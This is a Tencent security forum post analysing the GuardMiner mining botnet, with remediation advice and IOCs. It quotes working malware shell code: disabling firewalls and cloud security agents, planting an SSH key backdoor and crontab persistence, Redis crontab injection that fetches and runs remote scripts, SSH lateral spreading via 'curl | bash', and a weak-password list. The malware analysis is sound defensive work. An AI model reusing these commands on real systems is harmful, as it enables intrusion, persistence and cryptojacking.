本帖最后由 腾讯电脑管家 于 2021-3-9 17:47 编辑
摘要:
● 该挖矿木马具备较强的自动化攻击和扩散感染能力; ● 攻击成功后的恶意脚本会关闭linux防火墙,使系统安全性进一步下降; ● 会禁用或卸载多款云主机安全软件; ● 从比特币交易记录中动态获取C2地址; ● 会清除竞品挖矿木马,杀死CPU占用超过40%的进程; ● 依次下载挖矿程序、守护程序和攻击程序; ● 通过通过安装crontab任务、写入SSH authorized_keys公钥留置后门及守护程序phpguard进行持久化控制; ● 其下载的攻击模块networkmanager利用9种服务器应用组件漏洞攻击传播。
一、背景腾讯安全威胁情报中心检测到GuardMiner挖矿木马团伙新的攻击活动,该团伙利用Elasticsearch远程代码执行漏洞(CVE-2015-1427)等9种漏洞武器针对云上主机发起攻击。根据检测数据推算,受害主机已过万台,该挖矿木马会卸载云主机安装的安全软件。腾讯安全专家建议企业安全运维人员积极修复服务器组件漏洞,避免使用弱口令,防止云主机被该团伙使用的漏洞武器攻陷。
GuardMiner最早出现于2019年,至今已活跃超过2年,该挖矿木马通过Go语言编写的二进制程序针对Windows平台和Linux平台进行攻击传播,通过crontab定时任务以及安装SSH公钥后门进行持久化控制,并且还会利用比特币的交易记录来动态更新C2地址。
GuardMiner挖矿团伙最新的攻击活动表明,其依赖的攻击传播漏洞武器增加到9种: 1) CCTV设备RCE漏洞; 2) Redis未授权访问漏洞; 3) Drupal框架CVE-2018-7600漏洞; 4) Hadoop未授权访问漏洞; 5) Spring RCE漏洞CVE-2018-1273; 6) Thinkphp V5高危漏洞; 7) WebLogic RCE漏洞CVE-2017-10271; 8) SQL Server弱口令爆破; 9) Elasticsearch RCE漏洞 CVE-2015-1427、CVE-2014-3120
GuardMiner挖矿团伙入侵云主机后的挖矿行为会对服务器性能产生严重负面影响,服务器的正常业务有中断或崩溃风险。挖矿团伙在失陷服务器留置后门,关闭linux防火墙、卸载云服务器安全软件等行为,会导致服务器安全性受损,增加被其他黑客组织攻击的风险。
排查&加固由于GuardMiner掌握较强的自动化攻击和扩散感染能力,腾讯安全专家建议企业及时检查以下位置并进行清理,同时对服务器使用的相关组件进行版本检查和漏洞修复,对于Redis、SQL Server使用的弱密码尽快予以纠正。
文件和进程 /etc/phpguard /etc/phpupdate /etc/networkmanager
Crontab任务: */30 * * * * sh /etc/newdat.sh */2 * * * * curl -fsSLhxxp://h.epelcdn.com/dd210131/pm.sh
SSH公钥(/root/.ssh/authorized_keys): AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWXroot@u17
腾讯安全响应清单腾讯安全全系列产品支持对GuardMiner挖矿木马攻击传播的各个环节进行检测拦截。
具体响应清单如下:
二、技术分析利用Elasticsearch漏洞入侵Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。Elasticsearch用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。
搜索引擎支持使用脚本代码(Groovy)作为表达式进行数据操作,并且加入了沙盒进机制对危险的代码进行拦截,由于沙盒限制的不严格,导致产生远程代码执行漏洞CVE-2015-1427。该漏洞的攻击代码已被公开:hxxps://github.com/t0kx/exploit-CVE-2015-1427/blob/master/exploit.sh
腾讯云防火墙检测到黑客利用CVE-2015-1427漏洞攻击云主机:
利用漏洞执行的恶意命令为: wget hxxp://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh-P /tmp/sssooo
我们对命令下载执行的脚本init.sh进行分析发现其属于挖矿僵尸网络GuardMiner。
环境准备1. init.sh关闭selinux防火墙 setenforce 0 2>dev/null echo SELINUX=disabled >/etc/sysconfig/selinux 2>/dev/null
2. 清理缓存 sync && echo 3>/proc/sys/vm/drop_caches
3. 获取crontab目录和SSH公钥认证文件 crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys`
4. 将下载程序curl、wget重命名为cdt、wdt bbdir="/usr/bin/curl" bbdira="/usr/bin/cdt" ccdir="/usr/bin/wget" ccdira="/usr/bin/wdt" mv /usr/bin/curl /usr/bin/url mv /usr/bin/url /usr/bin/cdt mv /usr/bin/cur /usr/bin/cdt mv /usr/bin/cdl /usr/bin/cdt mv /usr/bin/cd1 /usr/bin/cdt mv /usr/bin/wget /usr/bin/get mv /usr/bin/get /usr/bin/wdt mv /usr/bin/wge /usr/bin/wdt mv /usr/bin/wdl /usr/bin/wdt mv /usr/bin/wd1 /usr/bin/wdt
5. 设置Linux系统能打开的最大文件数量 ulimit -n 65535
6. 删除系统日志文件 rm -rf /var/log/syslog
7. 设置tmp目录无法被删除 chattr -iua /tmp/ chattr -iua /var/tmp/
8. 关闭Linux防火墙,删除过滤规则 ufw disable iptables -F
9. 禁用看门狗程序 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0'>>/etc/sysctl.conf
10. 卸载阿里云骑士等云主机安全软件 if ps aux | grep -i '[a]liyun'; then pkill aliyun-service rm-rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm-rf /usr/local/aegis* systemctlstop aliyun.service systemctl disable aliyun.service service bcm-agent stop yumremove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh Fi
service apparmor stop systemctl disable apparmor service aliyun.service stop systemctl disable aliyun.service ps aux | grep -v grep | grep 'aegis' | awk'{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'Yun' | awk'{print $2}' | xargs -I % kill -9 % rm -rf /usr/local/aegis
11. 设置系统最大内存分页 echo 128 > /proc/sys/vm/nr_hugepages sysctl -w vm.nr_hugepages=128
12. 设置挖矿木马、Shell脚本、扫描程序、守护程序的下载URL miner_url="hxxp://176.123.7.127/id210131/phpupdate" miner_url_backup="hxxp://h.epelcdn.com/dd210131/phpupdate" sh_url="hxxp://176.123.7.127/id210131/newdat.sh" sh_url_backup="hxxp://h.epelcdn.com/dd210131/newdat.sh" config_url="hxxp://176.123.7.127/id210131/config.json" config_url_backup="hxxp://h.epelcdn.com/dd210131/config.json" scan_url="hxxp://176.123.7.127/id210131/networkmanager" scan_url_backup="hxxp://h.epelcdn.com/dd210131/networkmanager" watchdog_url="hxxp://176.123.7.127/id210131/phpguard" watchdog_url_backup="hxxp://h.epelcdn.com/dd210131/phpguard"
13. 从比特币的交易记录中动态获取C2地址 (使用的比特币钱包为:1Hf2CKoVDyPj7dNn3vgTeFMgDqVvbVNZQq) if [ -x "$(command -v curl)" ];then aa="1Hf2CKoVDyPj7dNn3vgTeFMgDqVvbVNZQq" bb="https://api.blockcypher.com/v1/btc/main/addrs/$aa?limit=2" cc=`curl -v --stderr - $bb |grepvalue|awk '{print $2}' |sed's/[[:punct:]]//g; s/[[:space:]]/\n/g'|awk '{printf("%x\n",$0)}'|awk'{print substr($0,3,2)}'|awk '{print strtonum("0x"$0)}'|awk 'NR==2'`"."`curl-v --stderr - $bb |grep value|awk '{print $2}' |sed 's/[[:punct:]]//g; s/[[:space:]]/\n/g'|awk'{printf("%x\n",$0)}'|awk '{print substr($0,1,2)}'|awk '{printstrtonum("0x"$0)}'|awk 'NR==2'`"."`curl -v --stderr - $bb|grep value|awk '{print $2}' |sed's/[[:punct:]]//g; s/[[:space:]]/\n/g'|awk '{printf("%x\n",$0)}'|awk'{print substr($0,3,2)}'|awk '{print strtonum("0x"$0)}'|awk'NR==1'`"."`curl -v --stderr - $bb |grep value|awk '{print $2}' |sed 's/[[:punct:]]//g;s/[[:space:]]/\n/g'|awk '{printf("%x\n",$0)}'|awk '{printsubstr($0,1,2)}'|awk '{print strtonum("0x"$0)}'|awk 'NR==1'` fi
挖矿1. init.sh首先通过端口、进程名、文件名、钱包、矿池匹配,清除竞品挖矿木马
2. 然后杀死tmp目录下的或者CPU占用超过40%的可疑程序。
3. 清理被用来挖矿的docker容器 docker ps | grep "pocosow" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "gakeaws" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "azulu" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "auto" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "xmr" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "mine" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "monero" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "slowhttp" | awk'{print $1}' | xargs -I % docker kill % docker ps | grep "bash.shell" |awk '{print $1}' | xargs -I % docker kill % docker ps | grep "entrypoint.sh"| awk '{print $1}' | xargs -I % docker kill % docker ps | grep "/var/sbin/bash"| awk '{print $1}' | xargs -I % docker kill % docker images -a | grep "pocosow"| awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "gakeaws"| awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep"buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "hello-"| awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "azulu" |awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep"registry" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "xmr" |awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "auto" |awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "mine" |awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "monero"| awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "slowhttp"| awk '{print $3}' | xargs -I % docker rmi -f %
4. 最后使用内置的URL依次下载攻击者控制的挖矿程序phpupdate、守护程序phpguard、攻击程序networkmanager并启动。
phpupdate采用开源挖矿程序XMRig编译:
持久化1. init.sh通过安装crontab任务持久化。 if [ ! -f "/usr/bin/crontab" ] then unlock_cron echo"*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1" >>${crondir} lock_cron else unlock_cron [[$cont =~ "newdat.sh" ]] || (crontab -l ; echo "*/30 * * * * sh/etc/newdat.sh >/dev/null 2>&1") | crontab - lock_cron fi
2. 通过写入SSH authorized_keys公钥(留置后门)持久化。 chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWXroot@u17" >> /root/.ssh/authorized_keys
3. 通过守护程序phpguard持久化 phpguard主要完成以下功能: 1)将挖矿程序添加到Linux crontab定时任务(Windows sctasks计划任务)中并启动;
2)通过枚举进程检查挖矿程序是否处于运行状态,如果没有则启动程序,如果挖矿程序文件不存在则重新下载和运行。
横向移动1. init.sh通过查询本机/root/.ssh/known_hosts中的SSH登陆记录,进行免密登陆连接,然后执行远程脚本spre.sh: if [ -f /root/.ssh/known_hosts ] &&[ -f /root/.ssh/id_rsa.pub ]; then forh in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"/root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5-oStrictHostKeyChecking=no $h 'curl -o- hxxp://h.epelcdn.com/dd210131/spre.sh |bash >/dev/null 2>&1 &' & done fi
2. 直接通过执行攻击脚本spre.sh: $bbdir -fsSL hxxp://h.epelcdn.com/dd210131/spre.sh| bash $bbdira -fsSL hxxp://h.epelcdn.com/dd210131/spre.sh| bash
3. 通过Redis空口令和弱口令入侵 1)首先利用Pnscan、masscan批量扫描6379端口扫描发现Redis服务器,然后尝试进行无密码登陆,或者利用以下弱口令进行爆破登陆: redis
root
oracle
password
p@aaw0rd
abc123
abc123!
123456
admin
2)Redis入侵登陆成功后,利用Redis未授权访问漏洞,在系统中写入恶意crontab任务,在任务中下载和执行恶意脚本pm.sh进行感染。 echo 'config set dbfilename"backup.db"' > .dat echo 'save' >> .dat echo 'flushall' >> .dat echo 'set backup1 "\n\n\n*/2 * * * *curl -fsSL hxxp://h.epelcdn.com/dd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup2 "\n\n\n*/3 * * * *wget -q -O- hxxp://h.epelcdn.com/dd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup3 "\n\n\n*/4 * * * * cdt-fsSL hxxp://localhost/bd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup4 "\n\n\n*/5 * * * *wdt -q -O- hxxp://localhost/bd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup1 "\n\n\n*/6 * * * *cd1 -fsSL hxxp://h.epelcdn.com/dd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup2 "\n\n\n*/7 * * * *wd1 -q -O- hxxp://h.epelcdn.com/dd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup3 "\n\n\n*/8 * * * *cd1 -fsSL hxxp://localhost/bd210131/pm.sh | sh\n\n"' >> .dat echo 'set backup4 "\n\n\n*/9 * * * *wd1 -q -O- hxxp://localhost/bd210131/pm.sh | sh\n\n"' >> .dat echo 'config set dir "var/spool/cron/"'>> .dat echo 'config set dbfilename"root"' >> .dat echo 'save' >> .dat echo 'config set dir "var/spool/cron/crontabs"'>> .dat echo 'save' >> .dat
4. 通过下载的攻击程序networkmanager进行横向移动,利用9种服务器应用的漏洞进行远程攻击,将go语言编写的木马程序networkmanager还原函数名的到如下内容:
1) Redis未授权访问漏洞; __tmp_0324_scan_exp_Redis_exploit __tmp_0324_scan_exp_re_exploit_connect_redis __tmp_0324_scan_exp_re_exploit_rce __tmp_0324_scan_exp_re_exploit_redis_brute __tmp_0324_scan_exp_re_exploit_unaurority_rce
2) Drupal RCE漏洞CVE-2018-7600; __tmp_0324_scan_exp_Drupal_exploit __tmp_0324_scan_exp_dp_7600_rce __tmp_0324_scan_exp_dp_7600_ver8_rce __tmp_0324_scan_exp_dp_7600_ver8_rce_func1 __tmp_0324_scan_exp_dp_check_payload __tmp_0324_scan_exp_dp_check_payload_func1 __tmp_0324_scan_exp_dp_isdrupal __tmp_0324_scan_exp_dp_isdrupal_func1
3) Hadoop未授权访问漏洞; __tmp_0324_scan_exp_Hadoop_exploit __tmp_0324_scan_exp_hd_exploit_unaurority_rce __tmp_0324_scan_exp_hd_exploit_unaurority_rce_func1 __tmp_0324_scan_exp_hd_exploit_unaurority_rce_func2
4) Spring RCE漏洞CVE-2018-1273; __tmp_0324_scan_exp_Spring_exploit __tmp_0324_scan_exp_sp_cve20181273_exists __tmp_0324_scan_exp_sp_cve20181273_exists_func1 __tmp_0324_scan_exp_sp_cve20181273_exploit __tmp_0324_scan_exp_sp_cve20181273_exploit_func1
5) Thinkphp V5高危漏洞; __tmp_0324_scan_exp_Thinkphp_exploit _tmp_0324_scan_exp_tp5_23_rce_Exists __tmp_0324_scan_exp_tp5_23_rce_Exists_func1 __tmp_0324_scan_exp_tp5_rce_Exists __tmp_0324_scan_exp_tp5_rce_Exists_func1 __tmp_0324_scan_exp_tp_exploit_tp5_23_rce_exp __tmp_0324_scan_exp_tp_exploit_tp5_23_rce_exp_func1 __tmp_0324_scan_exp_tp_exploit_tp5_23rce __tmp_0324_scan_exp_tp_exploit_tp5rce __tmp_0324_scan_exp_tp_exploit_tp5rce_exp __tmp_0324_scan_exp_tp_exploit_tp5rce_exp_func1 __tmp_0324_scan_exp_tp_isThinkphp __tmp_0324_scan_exp_tp_isThinkphp_func1
6) WebLogic RCE漏洞CVE-2017-10271; __tmp_0324_scan_exp_Weblogic_exploit __tmp_0324_scan_exp_wl_cve201710271_rce __tmp_0324_scan_exp_wl_cve201710271_rce_func1 __tmp_0324_scan_exp_wl_cve201710271_t_rce __tmp_0324_scan_exp_wl_wls_urlistrue __tmp_0324_scan_exp_wl_wls_urlistrue_func1
7) SQLServer爆破登陆后利用xp_cmdshell、SP_OACreate执行Payload; __tmp_0324_scan_exp_Sqlserver_exploit __tmp_0324_scan_exp_ss_crack_login __tmp_0324_scan_exp_ss_execute_payload __tmp_0324_scan_exp_ss_execute_sql __tmp_0324_scan_exp_ss_exploit __tmp_0324_scan_exp_ss_exploit_sp_oacreate __tmp_0324_scan_exp_ss_exploit_xcmdshell
8) Elasticsearch远程代码执行漏洞 CVE-2015-1427、CVE-2014-3120; __tmp_0324_scan_exp_es_exploit_cve20143120_rce __tmp_0324_scan_exp_es_exploit_cve20143120_rce_func1 __tmp_0324_scan_exp_es_exploit_cve20143120_t_rce __tmp_0324_scan_exp_es_exploit_cve20151427_rce __tmp_0324_scan_exp_es_exploit_cve20151427_rce_func1 __tmp_0324_scan_exp_es_exploit_cve20151427_t_rce
9) CCTV设备RCE漏洞。 __tmp_0324_scan_exp_Cctv_exploit __tmp_0324_scan_exp_cc_is_shell_rce __tmp_0324_scan_exp_cc_is_shell_rce_func1 __tmp_0324_scan_exp_cc_shell_rce __tmp_0324_scan_exp_cc_shell_rce_func1 __tmp_0324_scan_exp_cc_shell_t_rce
威胁视角看攻击行为
该团伙相关的威胁数据已加入腾讯安全威胁情报,已赋能给腾讯全系列安全产品,用户可以通过订阅腾讯安全威胁情报产品,让全网安全设备同步具备相应的威胁检测、防御能力。
推荐政企用户在公有云中部署腾讯云防火墙、腾讯主机安全(云镜)等产品检测防御相关威胁。
腾讯云防火墙已支持拦截利用Elasticsearch漏洞发起的恶意攻击行为。
腾讯主机安全可对病毒攻击过程中产生得木马落地文件进行自动检测,用户可后台一键隔离,删除。
私有云用户可通过腾讯高级威胁检测系统进行流量检测分析,及时发现黑客团伙的攻击活动。
腾讯高级威胁检测系统(御界)可检测到利用Elasticsearch远程代码执行漏洞CVE-2015-1427发起的恶意攻击行为。
IOCsMd5 Networkmanager 9960bac4ddc3e864a167e03037b9e65a
Phpguard 35269826d788370c3be184261adde884
Phpupdate 149c79bf71a54ec41f6793819682f790
spre.sh 4da10654aeecef6c766c3352a07955de
scan.sh 1b849002406d6370754c45c6b3a41e9a
pm.sh 37298c13dba7a26ae068dd02225fb5b5
Domain h.epelcdn.com sh.epelcdn.com
URL hxxp://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh hxxp://h.epelcdn.com/dd210131/spre.sh hxxp://h.epelcdn.com/dd210131/scan.sh hxxp://sh.epelcdn.com/dd09162/pm.sh hxxp://h.epelcdn.com/dd210131/pm.sh hxxp://176.123.7.127/id210131/phpupdate hxxp://h.epelcdn.com/dd210131/phpupdate hxxp://176.123.7.127/id210131/newdat.sh hxxp://h.epelcdn.com/dd210131/newdat.sh hxxp://176.123.7.127/id210131/config.json hxxp://h.epelcdn.com/dd210131/config.json hxxp://176.123.7.127/id210131/networkmanager hxxp://h.epelcdn.com/dd210131/networkmanager hxxp://176.123.7.127/id210131/phpguard hxxp://h.epelcdn.com/dd210131/phpguard
参考链接:
|